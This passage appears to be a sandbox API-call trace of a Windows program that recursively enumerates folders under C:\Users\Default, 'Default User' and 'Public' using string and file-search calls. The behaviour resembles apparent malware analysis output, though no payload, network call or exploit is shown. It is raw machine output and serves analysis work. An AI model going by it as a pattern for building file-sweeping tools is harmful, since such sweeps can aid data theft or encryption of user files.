(pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0138.558] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0138.558] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.558] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.558] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0138.558] SetErrorMode (uMode=0x1) returned 0x1 [0138.559] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0138.559] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0138.559] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\NetHood\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0138.559] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0138.559] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.559] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0138.559] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0138.559] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0138.559] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0138.559] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.559] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0138.559] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0138.559] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.559] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.559] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0138.559] SetErrorMode (uMode=0x1) returned 0x1 [0138.559] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0138.559] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0138.559] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Pictures\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0138.559] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0138.559] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.559] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0138.559] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0138.560] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0138.560] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0138.560] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.560] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0138.560] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0138.560] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.560] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0138.560] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0138.560] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.560] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.560] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0138.560] SetErrorMode (uMode=0x1) returned 0x1 [0138.560] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0138.560] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0138.560] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\PrintHood\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0138.560] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0138.560] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.560] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0138.560] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0138.560] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0138.560] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0138.560] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.560] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0138.560] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0138.560] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.561] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.561] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0138.561] SetErrorMode (uMode=0x1) returned 0x1 [0138.561] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0138.561] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0138.561] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Recent\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0138.561] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0138.561] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.561] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0138.561] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0138.561] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0138.561] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0138.561] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.561] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0138.561] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0138.561] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.561] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.561] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0138.561] SetErrorMode (uMode=0x1) returned 0x1 [0138.561] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0138.561] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0138.561] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Saved Games\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0138.561] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0138.561] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.562] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0138.562] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0138.562] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0138.562] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0138.562] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.562] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0138.562] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0138.562] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.562] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0138.562] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0138.562] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.562] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.562] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0138.562] SetErrorMode (uMode=0x1) returned 0x1 [0138.562] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0138.562] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0138.562] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\SendTo\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0138.562] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0138.562] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.563] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0138.563] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0138.563] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0138.563] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0138.563] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.563] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0138.563] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0138.563] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.563] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.563] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0138.563] SetErrorMode (uMode=0x1) returned 0x1 [0138.563] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0138.563] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0138.563] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Start Menu\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0138.563] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0138.563] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.563] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0138.563] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0138.563] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0138.563] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0138.563] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.563] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0138.563] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0138.563] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.563] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.563] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0138.563] SetErrorMode (uMode=0x1) returned 0x1 [0138.563] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0138.563] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0138.563] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Templates\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0138.564] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0138.564] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.564] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0138.564] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0138.564] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0138.564] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0138.564] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.564] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0138.564] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0138.564] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.564] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.564] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0138.564] SetErrorMode (uMode=0x1) returned 0x1 [0138.564] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0138.564] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0138.564] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Videos\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0138.564] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0138.564] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.564] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0138.564] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0138.564] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0138.564] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0138.564] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.565] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0138.565] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0138.565] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0138.565] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.565] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.565] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.565] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0138.565] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0138.565] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0138.565] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0138.565] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0138.565] SetErrorMode (uMode=0x1) returned 0x1 [0138.565] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0138.565] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0138.565] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default User\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0138.565] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0138.565] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0138.566] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0138.566] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0138.566] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0138.566] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0138.566] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0138.566] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0138.566] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0138.566] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0138.566] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0138.566] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0138.566] SetErrorMode (uMode=0x1) returned 0x1 [0138.566] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0138.566] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0138.566] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default User\\Videos\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0138.566] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0138.566] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.566] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0138.566] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0138.566] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0138.566] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0138.566] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.567] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0138.567] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0138.567] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0138.567] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.567] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.567] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.567] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.567] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0138.567] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0138.567] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0138.567] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0138.567] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.567] SetErrorMode (uMode=0x1) returned 0x1 